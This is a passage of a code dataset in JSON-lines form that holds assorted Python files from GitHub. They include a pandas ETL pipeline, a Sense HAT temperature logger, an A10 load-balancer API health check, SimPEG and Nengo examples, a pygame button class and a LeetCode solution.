moving average from Intrinio for ' + ticker)\n else:\n for i in reversed(intrinioData):\n close_price.append(float(i['value']))\n date.append(self.da.convertToDate(i['date']))\n \n output = pd.DataFrame({'ticker' : ticker,\n 'close_price' : close_price,\n '20Day_Avg_EndDate' : date})\n \n output['20Day_Avg'] = output['close_price'].rolling(20, min_periods = 1).mean()\n \n output = pd.DataFrame(output[['ticker', \n '20Day_Avg', \n '20Day_Avg_EndDate']].iloc[len(output)-1]).T\n return output","repo_name":"stevegbrooks/stock-search","sub_path":"Intrinio/IntrinioBehavior_20DayAvg.py","file_name":"IntrinioBehavior_20DayAvg.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"4894978633","text":"import pathlib\nimport pandas as pd\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass\n\n@dataclass\nclass PreTransformation(ABC):\n filepath: pathlib.Path\n data: pd.DataFrame = None\n\n @abstractmethod\n def transform(self):\n pass\n \n # @abstractmethod\n # def validate(df):\n # pass\n\n @abstractmethod\n def export_csv(self, output_folder: pathlib.Path) -> None:\n pass\n\nclass CustomerTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self) -> pd.DataFrame:\n cust_df = pd.read_csv(self.filepath,\n dtype={\n \"customer_id\": str,\n \"customer_unique_id\": str,\n \"customer_zip_code_prefix\": str,\n \"customer_city\": str,\n \"customer_state\": str\n })\n self.data = cust_df\n\n def validate(self) -> bool:\n if self.data is None:\n raise ValueError(\"No data to validate.\")\n test_cust_zip_prefix_not_null = self.data[\"customer_zip_code_prefix\"].notnull().all()\n test_cust_zip_prefix_five_digits = (self.data[\"customer_zip_code_prefix\"].str.len() == 5).all()\n test_cust_state_not_null = self.data[\"customer_state\"].notnull().all()\n test_cust_state_brazil_state = self.data[\"customer_state\"].str.contains()\n \n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"customers_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n \nclass GeoTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self) -> pd.DataFrame:\n geo_df = pd.read_csv(self.filepath,\n dtype={\n \"geolocation_zip_code_prefix\": str,\n \"geolocation_lat\": float,\n \"geolocation_lng\": float,\n \"geolocation_city\": str,\n \"geolocation_state\": str\n })\n self.data = geo_df\n\n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"geolocation_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n \nclass OrderItemsTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n order_item_df = pd.read_csv(self.filepath,\n dtype={\n \"order_id\": str,\n \"order_item_id\": int,\n \"product_id\": str,\n \"seller_id\": str,\n \"price\": float,\n \"freight_value\": float\n },\n parse_dates=[\"shipping_limit_date\"])\n order_item_df = order_item_df.assign(\n total_value=order_item_df[\"price\"] + order_item_df[\"freight_value\"])\n self.data = order_item_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"order_items_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n\nclass OrderPaymentsTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n order_payments_df = pd.read_csv(self.filepath,\n dtype={\n \"order_id\": str,\n \"payment_sequential\": int,\n \"payment_type\": str,\n \"payment_installments\": int,\n \"payment_value\": float\n })\n self.data = order_payments_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"order_payments_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n\nclass OrderReviewsTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n order_reviews_df = pd.read_csv(self.filepath,\n dtype={\n \"review_id\": str,\n \"order_id\": str,\n \"review_score\": int,\n \"review_comment_title\": str,\n \"review_comment_message\": str,\n \"satisfaction\": str\n },\n parse_dates=[\n \"review_creation_date\",\n \"review_answer_timestamp\"\n ])\n\n is_happy = order_reviews_df[\"review_score\"] >= 4\n order_reviews_df.loc[is_happy, \"satisfaction\"] = \"happy\"\n order_reviews_df.loc[~is_happy, \"satisfaction\"] = \"not happy\"\n self.data = order_reviews_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"order_reviews_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n \nclass OrdersTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n orders_df = pd.read_csv(self.filepath,\n dtype={\n \"order_id\": str,\n \"customer_id\": str,\n \"order_status\": str\n },\n parse_dates=[\n \"order_purchase_timestamp\",\n \"order_approved_at\",\n \"order_delivered_carrier_date\",\n \"order_delivered_customer_date\",\n \"order_estimated_delivery_date\"\n ])\n self.data = orders_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"orders_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n\nclass ProductsTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n products_df = pd.read_csv(self.filepath,\n header=0,\n names=[\n \"product_id\",\n \"product_category_name\",\n \"product_name_length\",\n \"product_description_length\",\n \"product_photos_qty\",\n \"product_weight_g\",\n \"product_length_cm\",\n \"product_height_cm\",\n \"product_width_cm\",\n ],\n dtype={\n \"product_id\": str,\n \"product_category_name\": str,\n \"product_name_length\": float,\n \"product_description_length\": float,\n \"product_photos_qty\": \"Int64\",\n \"product_weight_g\": float,\n \"product_length_cm\": float,\n \"product_height_cm\": float,\n \"product_width_cm\": float\n }\n )\n \n products_df = products_df.assign(product_volume_cc=products_df[\"product_length_cm\"] \\\n * products_df[\"product_height_cm\"] \\\n * products_df[\"product_width_cm\"])\n \n volumetric_weight = 5000 # Cut off point for \"light\" and \"heavy\" packages (cc/kg)\n \n is_heavy = ((products_df[\"product_volume_cc\"]) / (products_df[\"product_weight_g\"] / 1000)) > volumetric_weight\n products_df.loc[is_heavy, \"is_heavy\"] = \"Heavy\"\n products_df.loc[~is_heavy, \"is_heavy\"] = \"Light\"\n \n self.data = products_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"products_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n\nclass SellersTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n sellers_df = pd.read_csv(self.filepath,\n dtype={\n \"seller_id\": str,\n \"seller_zip_code_prefix\": str,\n \"seller_city\": str,\n \"seller_state\": str\n })\n self.data = sellers_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"sellers_dataset_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n\nclass ProductCategoryNameTransformation(PreTransformation):\n def __init__(self, fp: pathlib.Path):\n self.filepath = fp\n self.data = None\n\n def transform(self):\n en_category_df = pd.read_csv(self.filepath,\n dtype={\n \"product_category_name\": str,\n \"product_category_name_english\": str\n })\n self.data = en_category_df\n \n def export_csv(self, output_folder: pathlib.Path) -> None:\n output_filepath = pathlib.Path(output_folder, \"product_category_refined.csv\")\n output_filepath.parent.mkdir(parents=True, exist_ok=True)\n self.data.to_csv(output_filepath, index=False)\n\n# output_folder = pathlib.Path(\"/home/dawson/portfolio-proj-brazil-ecom/refined\")\n\n# cust = CustomerTransformation(pathlib.Path(\"../raw/olist_customers_dataset.csv\"))\n# cust.transform()\n# cust.export_csv(output_folder)\n\n# order_items = OrderItemsTransformation(pathlib.Path(\"../raw/olist_order_items_dataset.csv\"))\n# order_items.transform()\n# order_items.export_csv(output_folder)\n\n# order_payments = OrderPaymentsTransformation(pathlib.Path(\"../raw/olist_order_payments_dataset.csv\"))\n# order_payments.transform()\n# order_payments.export_csv(output_folder)\n\n# orders = OrdersTransformation(pathlib.Path(\"../raw/olist_orders_dataset.csv\"))\n# orders.transform()\n# orders.export_csv(output_folder)\n\n# products = ProductsTransformation(pathlib.Path(\"../raw/olist_products_dataset.csv\"))\n# products.transform()\n# products.export_csv(output_folder)\n\n# sellers = SellersTransformation(pathlib.Path(\"../raw/olist_sellers_dataset.csv\"))\n# sellers.transform()\n# sellers.export_csv(output_folder)\n\n# product_category_english = ProductCategoryNameTransformation(pathlib.Path(\"../raw/product_category_name_translation.csv\"))\n# product_category_english.transform()\n# product_category_english.export_csv(output_folder)\n","repo_name":"sonsunt/star","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":12582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10592102786","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport jsonfield.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='CloudStore',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('storage_engine', models.CharField(max_length=50)),\n ('name', models.CharField(max_length=250)),\n ('description', models.TextField()),\n ('attributes', jsonfield.fields.JSONField()),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","repo_name":"amschaal/glims","sub_path":"django_cloudstore/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"34965009188","text":"#!/usr/bin/env python3\nimport time\nimport datetime\nfrom sense_hat import SenseHat\nimport requests\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport logging\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n# Setup logging\nlogging.basicConfig(filename='error.log', level=logging.ERROR, format='%(asctime)s - %(levelname)s - %(message)s')\nif \"OPEN_WEATHER_KEY\" not in os.environ:\n logging.error(\"OPEN_WEATHER_KEY is not set\")\n print(\"OPEN_WEATHER_KEY is not set\")\n exit(1)\n# Constants\nAPI_KEY = os.getenv('OPEN_WEATHER_KEY')\nPARIS_LAT = 48.8566\nPARIS_LON = 2.3522\nMEASUREMENT_INTERVAL = 5 * 60 # 5 minutes in seconds\nNUM_MEASUREMENTS = 24 * 60 // 5 # 24 hours of measurements\n\ndef get_temperature_in_paris():\n try:\n url = f'http://api.openweathermap.org/data/2.5/weather?lat={PARIS_LAT}&lon={PARIS_LON}&appid={API_KEY}&units=metric'\n response = requests.get(url)\n data = response.json()\n return data['main']['temp']\n except Exception as e:\n logging.error(f\"Error getting temperature in Paris: {e}\")\n return None\n\ndef main():\n sense = SenseHat()\n while True:\n # Data storage\n timestamps = []\n ambient_temps = []\n paris_temps = []\n\n for _ in range(NUM_MEASUREMENTS):\n # Record timestamp\n timestamps.append(pd.Timestamp.now())\n\n try:\n # Record ambient temperature\n ambient_temp = sense.get_temperature()\n ambient_temps.append(ambient_temp)\n\n # Get temperature in Paris\n paris_temp = get_temperature_in_paris()\n if paris_temp is not None:\n paris_temps.append(paris_temp)\n else:\n paris_temps.append(float('nan'))\n except Exception as e:\n logging.error(f\"Error getting temperature: {e}\")\n\n # Wait for the next measurement\n time.sleep(MEASUREMENT_INTERVAL)\n\n # Create a DataFrame with the collected data\n try:\n data = pd.DataFrame({'Timestamp': timestamps, 'Ambient': ambient_temps, 'Paris': paris_temps})\n data['Difference'] = data['Ambient'] - data['Paris']\n\n # Plot the data\n plt.figure(figsize=(15, 6))\n plt.plot(data['Timestamp'], data['Ambient'], label='Ambient Temperature')\n plt.plot(data['Timestamp'], data['Paris'], label='Temperature in Paris')\n plt.plot(data['Timestamp'], data['Difference'], label='Difference')\n plt.xlabel('Time')\n plt.ylabel('Temperature (°C)')\n plt.title('Temperature Comparison: Ambient vs. Paris')\n plt.legend()\n timestamp_str = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')\n filename = f'/home/pi/Documents/temperature_comparison_{timestamp_str}.png'\n plt.savefig(filename)\n #clear the data storage\n timestamps.clear()\n ambient_temps.clear()\n paris_temps.clear()\n plt.close()\n except Exception as e:\n logging.error(f\"Error creating the file: {e}\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"rghp13/raspi","sub_path":"temp_graph.py","file_name":"temp_graph.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70420541024","text":"# coding: utf-8\nfrom itertools import combinations, product, chain\n\nfrom progressbar import progressbar\n\nimport building\nfrom ability import Ability, AbilitySet\nfrom common import Category\n\n\nall_buildings = [\n building.木屋.star(5),\n building.居民楼.star(5),\n building.钢结构房.star(5),\n building.平房.star(5),\n building.小型公寓.star(5),\n building.人才公寓.star(4),\n building.花园洋房.star(4),\n building.中式小楼.star(4),\n building.空中别墅.star(4),\n building.复兴公馆.star(3),\n\n building.便利店.star(5),\n building.五金店.star(5),\n building.服装店.star(5),\n building.菜市场.star(5),\n building.学校.star(5),\n building.图书城.star(4),\n building.商贸中心.star(4),\n building.加油站.star(4),\n building.民食斋.star(4),\n building.媒体之声.star(4),\n\n building.木材厂.star(5),\n building.食品厂.star(5),\n building.造纸厂.star(5),\n building.水厂.star(5).ability(Ability.离线固定(0.3)),\n building.电厂.star(5).ability(Ability.在线固定(1.4)),\n building.钢铁厂.star(5),\n building.纺织厂.star(4),\n building.零件厂.star(4),\n building.企鹅机械.star(3),\n building.人民石油.star(4),\n]\n\n\nglobal_abilities = {\n '照片': AbilitySet([\n Ability.所有(4.3),\n Ability.在线(4.2),\n Ability.离线(4.0),\n Ability.住宅(7.2),\n Ability.商业(8.4),\n Ability.工业(8.1),\n ]),\n '政策': AbilitySet([\n Ability.所有(0.55), # 家国之光\n Ability.所有(1.00), # 一带一路建设[5]\n Ability.商业(3.00), # 自由贸易区建设[5]\n Ability.住宅(3.00), # 区域协同发展[5]\n Ability.所有(2.00), # 全面深化改革[5]\n Ability.在线(2.00), # 全面依法治国[5]\n Ability.离线(2.00), # 科教兴国[5]\n Ability.工业(6.00), # 创新驱动[5]\n Ability.工业(12.0), # 制造强国[5]\n Ability.所有(4.00), # 减税降费[5]\n Ability.商业(12.0), # 普惠金融[5]\n Ability.住宅(24.0), # 新型城镇化[5]\n Ability.在线(8.00), # 乡村振兴[5]\n Ability.离线(8.00), # 精准扶贫[5]\n Ability.所有(8.00), # 新一代人工智能[5]\n Ability.工业(36.0), # 蓝天保卫战[5]\n Ability.离线(12.0), # 拍蝇打虎猎狐[5]\n Ability.住宅(36.0), # 扫黑除恶[5]\n Ability.商业(36.0), # 平安中国[5]\n Ability.所有(12.0), # 美丽中国[5]\n Ability.商业(0.00), # 互联网+[0]\n Ability.在线(0.00), # 健康中国[0]\n Ability.工业(37.5), # 河长制[3]\n Ability.住宅(0.00), # 厕所革命[0]\n Ability.所有(0.00), # 社会主义核心价值观[1]\n ]),\n '任务': AbilitySet([\n Ability.服装店(2.0),\n Ability.木材厂(1.0),\n Ability.造纸厂(1.0),\n ])\n}\n\n# 预计算\nfor building in all_buildings:\n building.prepare(all_buildings, global_abilities)\n\n# 拆分建筑\nhouse_buildings = [\n building for building in all_buildings if building.category == Category.住宅]\nbusiness_buildings = [\n building for building in all_buildings if building.category == Category.商业]\nindustry_buildings = [\n building for building in all_buildings if building.category == Category.工业]\n\n# 分类内组合\nhouse_combinations = list(combinations(house_buildings, 3))\nbusiness_combinations = list(combinations(business_buildings, 3))\nindustry_combinations = list(combinations(industry_buildings, 3))\n\n# 类间组合\nall_combinations = list(\n product(house_combinations, business_combinations, industry_combinations))\n\nbest_total_ratio = None\n# 遍历类间组合,寻找离线最大值\nfor house, business, industry in progressbar(all_combinations):\n buildings = list(chain(house, business, industry))\n # do filter\n\n ratios = [building.trigger(False, buildings) for building in buildings]\n total_ratios = sum(ratio[0] for ratio in ratios)\n if best_total_ratio is None:\n best_total_ratio = (total_ratios, buildings, ratios)\n continue\n if best_total_ratio[0] < total_ratios:\n best_total_ratio = (total_ratios, buildings, ratios)\n\nbest_total_ratio, buildings, ratios = best_total_ratio\nprint(f'最佳总倍率: {best_total_ratio:>5.2f}x')\nfor building, ratio_info in zip(buildings, ratios):\n ratio, details = ratio_info\n print(f'\\t{building!r}: {ratio:>5.2f}x')\n for reason, value in details:\n if reason in ('基础', '星级'):\n print(f'\\t\\t{reason:<20}: {value:>6.2f}x')\n else:\n print(f'\\t\\t{reason:<20}: {value:>+6.2f}x')\n","repo_name":"yangchenxing/jiaguomeng","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4699,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"17880084760","text":"import sys\nimport json\nimport urllib\nimport urllib2\n\nfrom xml.dom import minidom\n\nSG_NAME = \"sg\"\nhost = \"192.168.91.103\"\nusername = \"admin\"\npassword = \"a10\"\n\nFAIL = 1\nSUCCESS = 0\n\n\nclass path:\n @classmethod\n def v1(cls):\n return \"/services/rest/V1/\"\n\n @classmethod\n def v2(cls):\n return \"/services/rest/V2/\"\n\n @classmethod\n def sessionID(cls):\n return \"?session_id=\"\n\n\nclass auth:\n @classmethod\n def sessionID(cls, host, username, password):\n services_path = path.v2()\n sid_url = \"http://\" + host + services_path\n method = 'authenticate'\n authparams = urllib.urlencode({'method': method,\n 'username': username,\n 'password': password\n })\n\n request = urllib2.Request(sid_url, authparams)\n request.add_header('Connection', 'Keep-Alive')\n response = urllib2.urlopen(request)\n\n sessionID = minidom.parse(response).getElementsByTagName('session_id')[0].childNodes[0].nodeValue\n return sessionID\n\n @classmethod\n def sessionClose(cls, host, sid):\n method = \"method=session.close\"\n response = req.get(host, method, sid)\n return response\n\n\nclass req:\n @classmethod\n def get(cls, host, method, sid):\n url = \"https://\" + host + path.v2() + path.sessionID() + sid + \"&\" + \\\n method.__str__() + \"&format=json\"\n # print url\n data = urllib.urlopen(url.__str__()).read()\n return data\n\n @classmethod\n def post(cls, host, method, sid, config):\n url = \"https://\" + host + path.v2() + path.sessionID() + sid + \"&\" + \\\n method.__str__() + \"&format=json\"\n # print url\n # print config\n data = urllib.urlopen(url.__str__(), config).read()\n return data\n\n# Authenticate and get session ID\nsid = auth.sessionID(host, username, password)\n\n# Get the Service Group details\nresult = req.get(host, \"method=slb.service_group.search&name=\" + SG_NAME, sid)\n\n# Extract the min_active_servers value\nresult_list = json.loads(result)\nmin_active_server_status = result_list[\"service_group\"][\"min_active_member\"][\"status\"]\nmin_active_server_num = result_list[\"service_group\"][\"min_active_member\"][\"number\"]\n\n# if the minimum_active_servers is disabled then\n# just quit with SUCCESS return code\nif min_active_server_status == 0:\n # disconnect from the API\n result = auth.sessionClose(host, sid)\n sys.exit(SUCCESS)\n\n\n# Get the Service Group statistics\nresult = req.get(host, \"method=slb.service_group.fetchStatistics&name=\" +\n SG_NAME, sid)\nresult_list = json.loads(result)\n\nup_port_count = 0\nfor member in result_list[\"service_group_stat\"][\"member_stat_list\"]:\n server_name = member[\"server\"]\n server_port = member[\"port\"]\n\n # Get the status of the server port from the server statistics\n result = req.get(host, \"method=slb.server.fetchStatistics&name=\" +\n server_name, sid)\n result_server_list = json.loads(result)\n for port in result_server_list[\"server_stat\"][\"port_stat_list\"]:\n if port[\"port_num\"] == server_port:\n if port[\"status\"] == 1:\n up_port_count += 1\n break\n\n# disconnect from the API\nresult = auth.sessionClose(host, sid)\n\nif up_port_count < min_active_server_num:\n sys.exit(FAIL)\nelse:\n sys.exit(SUCCESS)\n","repo_name":"a10networks/axapi-collection","sub_path":"hm-vip-down-min-active.py","file_name":"hm-vip-down-min-active.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"7"} +{"seq_id":"33213063384","text":"\"\"\"\nTDEM: Waveforms\n===============\n\nIn this example, we plot the waveforms available in the TDEM module in addition\nto the `StepOffWaveform`\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom SimPEG.electromagnetics import time_domain as TDEM\nfrom SimPEG.utils import mkvc\n\nnT = 1000\nmax_t = 5e-3\ntimes = max_t * np.arange(0, nT) / float(nT)\n\n# create the waveforms\nramp_off = TDEM.Src.RampOffWaveform(off_time=max_t)\nvtem = TDEM.Src.VTEMWaveform()\ntrapezoid = TDEM.Src.TrapezoidWaveform(\n ramp_on=np.r_[0.0, 1.5e-3], ramp_off=max_t - np.r_[1.5e-3, 0]\n)\ntriangular = TDEM.Src.TriangularWaveform(\n start_time=0.0, peak_time=max_t / 2, off_time=max_t\n)\nquarter_sine = TDEM.Src.QuarterSineRampOnWaveform(\n ramp_on=np.r_[0.0, 1.5e-3], ramp_off=max_t - np.r_[1.5e-3, 0]\n)\nhalf_sine = TDEM.Src.HalfSineWaveform(\n ramp_on=np.r_[0.0, 1.5e-3], ramp_off=max_t - np.r_[1.5e-3, 0]\n)\nexponential = TDEM.Src.ExponentialWaveform(\n start_time=0.0, peak_time=0.003, off_time=0.005, ramp_on_tau=5e-4\n)\n\nwaveforms = dict(\n zip(\n [\n \"RampOffWaveform\",\n \"TrapezoidWaveform\",\n \"QuarterSineRampOnWaveform\",\n \"VTEMWaveform\",\n \"TriangularWaveform\",\n \"HalfSineWaveform\",\n \"ExponentialWaveform\",\n ],\n [ramp_off, trapezoid, quarter_sine, vtem, triangular, half_sine, exponential],\n )\n)\n\n# plot the waveforms\nfig, ax = plt.subplots(4, 2, figsize=(7, 10))\nax = mkvc(ax)\n\nfor a, key in zip(ax, waveforms):\n wave = waveforms[key]\n wave_plt = [wave.eval(t) for t in times]\n a.plot(times, wave_plt)\n a.set_title(key)\n a.set_xlabel(\"time (s)\")\n# deactivate last subplot as it is empty\nax[-1].axis(\"off\")\nplt.tight_layout()\nplt.show()\n","repo_name":"simpeg/simpeg","sub_path":"examples/06-tdem/plot_fwd_tdem_waveforms.py","file_name":"plot_fwd_tdem_waveforms.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":438,"dataset":"github-code","pt":"7"} +{"seq_id":"38928264143","text":"# Tutorial 14: Controlled Oscillator\n\n# Here we do the exact same oscillator as in the previous example, but we\n# introduce a new dimension that lets us control the speed of the oscillation\n\n# We use the same differential equation as before:\n# dx0/dt = -x1 * s + x0 * (r - x0**2 - y0**2)\n# dx1/dt = x0 * s + x1 * (r - x0**2 - y0**2)\n# where r is the radius of the circle and s is the speed (in radians per\n# second).\n\n# But, in this case, we make the Ensemble be 3-dimensional and use the third\n# dimension (x[2]) to represent s. You can control it with a separate input.\n# This shows how neurons can affect the pattern of activity of another\n# group of neurons.\n\n\nimport nengo\n\nmodel = nengo.Network()\nwith model:\n\n x = nengo.Ensemble(n_neurons=400, dimensions=3)\n\n synapse = 0.1\n\n def oscillator(x):\n r = 1\n s = 10 * x[2]\n return [\n synapse * -x[1] * s + x[0] * (r - x[0] ** 2 - x[1] ** 2) + x[0],\n synapse * x[0] * s + x[1] * (r - x[0] ** 2 - x[1] ** 2) + x[1],\n ]\n\n nengo.Connection(x, x[:2], synapse=synapse, function=oscillator)\n\n stim_speed = nengo.Node(0)\n speed = nengo.Ensemble(n_neurons=50, dimensions=1)\n nengo.Connection(stim_speed, speed)\n nengo.Connection(speed, x[2])\n","repo_name":"nengo/nengo-gui","sub_path":"nengo_gui/examples/tutorial/14-controlled-oscillator.py","file_name":"14-controlled-oscillator.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"7"} +{"seq_id":"7276064556","text":"import pygame as pg\n\nfrom space_ranger.core import GameObject\nfrom space_ranger.core.animation import HoverAnimation\nfrom space_ranger.core.property import Color, Font, Int, String\n\n\nclass Button(GameObject):\n \"\"\"A button.\"\"\"\n\n color = Color(100)\n width = Int()\n height = Int()\n text = String(\"Button\")\n text_color = Color(170)\n text_size = Int(100)\n text_font = Font()\n\n def __init__(\n self,\n color: Color.InputType = 100,\n text: String.InputType = \"Button\",\n text_color: Color.InputType = 170,\n text_size: Int.InputType = 100,\n text_font: Font.InputType = None,\n hover_color: Color.InputType = 170,\n ) -> None:\n super().__init__()\n self.color = color\n self.text = text\n self.text_color = text_color\n self.text_size = text_size\n self.text_font = text_font\n self.hover_color = hover_color\n\n pg.draw.rect()\n\n def _start(self) -> None:\n tmp = self.text_font(self.text_size).render(self.text, 0, self.color)\n self.width = tmp.get_width() * 1.3\n self.height = tmp.get_height() * 1.3\n\n hover_color = Color.adapt(self.hover_color)\n\n self.hover_animation = HoverAnimation(\n (self, \"color\", Color, self.color, Color.adapt(70)),\n (self, \"width\", Int, self.width, self.width + 3),\n (self, \"height\", Int, self.height, self.height + 3),\n (self, \"text_color\", Color, self.text_color, hover_color),\n duration=5000,\n )\n self.click_animation = HoverAnimation(\n (self, \"color\", Color, self.color, Color.adapt(50)),\n (self, \"width\", Int, self.width, self.width - 3),\n (self, \"height\", Int, self.height, self.height - 3),\n (self, \"text_color\", Color, self.text_color, hover_color),\n duration=10,\n )\n\n def _build(self) -> None:\n text_surface = self.text_font(self.text_size).render(self.text, True, self.text_color)\n back = pg.Surface((self.width, self.height), pg.SRCALPHA)\n back.fill(self.color)\n back.blit(\n text_surface,\n (\n int((self.width - text_surface.get_width()) / 2),\n int((self.height - text_surface.get_height()) / 2),\n ),\n )\n self.image = back\n\n def _update(self, delta_time: int) -> None:\n self.hover_animation.play(delta_time, self.rect.collidepoint(*pg.mouse.get_pos()))\n if self.is_clicked:\n self.click_animation.play(delta_time, self.is_clicked)\n","repo_name":"kira607/space-ranger","sub_path":"src/space_ranger/prefabs/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72986632542","text":"'''You are given an integer array, nums, and an integer k. nums comprises of only 0's and 1's. In one move, you can choose two adjacent indices and swap their values.\n\nReturn the minimum number of moves required so that nums has k consecutive 1's.\n\n'''\n\nfrom typing import List\nclass Solution:\n def minMoves(self, nums: List[int], k: int) -> int:\n one_ind = []\n length = len(nums)\n for i in range(length):\n if nums[i] == 1:\n one_ind.append(i)\n\n\n if k<=1: return 0\n # sliding window\n # left, right, mid\n # mid用来确定应该向做移出窗口的0和应该向右移出窗口的0\n # 不断寻找下一个这样的窗口: 窗口里面恰有k个1,并记录每个窗口对应的move数, 最后返回最小的move数\n\n\n # 移动left,right至第一个1处\n right = left = one_ind[0]\n mid = k // 2 # 第$mid+1$个1为中间的1\n l_ind = 0 #! 记录left是第几个1\n\n count = 1 #计数当前窗口1的数量\n ret = float(\"inf\")\n while right < length-1:\n\n right += 1\n if nums[right] == 0: continue\n\n count +=1\n # 这里意味着我们找到了下一个1,检查窗口是否已有k个1\n\n\n # 若找到了k个1,则记录当前窗口需要的move数\n if count == k:\n # 确定mid_ind:\n mid_ind = one_ind[l_ind+mid]\n\n # mid及mid左边的0向左移除窗口,mid右边的0向右移除窗口\n # 算法: 从left到right遍历, 记录每个0当前的index1和移除窗口后的index2,则这个0的交换次数 = |index1-index2|\n # indices := [(index1,index2)...]: a list of two indices of each 0\n # temp1 := left,left+1,left+2... temp2 = right,right-1,right-2\n temp1 = left\n temp2 = right\n indices=[]\n\n for i in range(left,mid_ind):\n if nums[i] ==0:\n indices.append((i,temp1))\n temp1 += 1\n for i in range(right,mid_ind,-1):\n if nums[i] == 0:\n indices.append((i,temp2))\n temp2 -= 1\n # 求move数\n move_num = sum([abs(a-b) for (a,b) in indices])\n ret = min(ret,move_num)\n\n #! 此时向右移动right已无意义,应将left右移至下一个1处\n l_ind +=1\n left = one_ind[l_ind]\n\n count -= 1\n\n # 若还不够k个1,则继续寻找\n\n return ret\n\n","repo_name":"leoxiang66/leetcode","sub_path":"5624. Minimum Adjacent Swaps for K Consecutive Ones.py","file_name":"5624. Minimum Adjacent Swaps for K Consecutive Ones.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"38795491174","text":"import socket\nimport time\n\nSERVER_ADDRESS = ('127.0.0.1', 54322)\nBUFFER_SIZE = 1024\nFILENAME = \"status.txt\"\nsleepSecond = 60\ntry:\n\n while True:\n try:\n with open(FILENAME) as file:\n ID = int(file.readline(16)[:-1])\n ALARM1 = int(file.readline(2)[:-1])\n ALARM2 = int(file.readline(2))\n # check sense in Alarms\n if (ALARM1 != 0) & (ALARM1 != 1):\n print(\"The alarm 1 condition does not make sense --> [ALARM1 = {}]\".format(ALARM1))\n break\n if (ALARM2 != 0) & (ALARM2 != 1):\n print(\"The alarm 2 condition does not make sense --> [ALARM2 = {}]\".format(ALARM2))\n break\n data = str(ID) + \" \" + str(ALARM1) + \" \" + 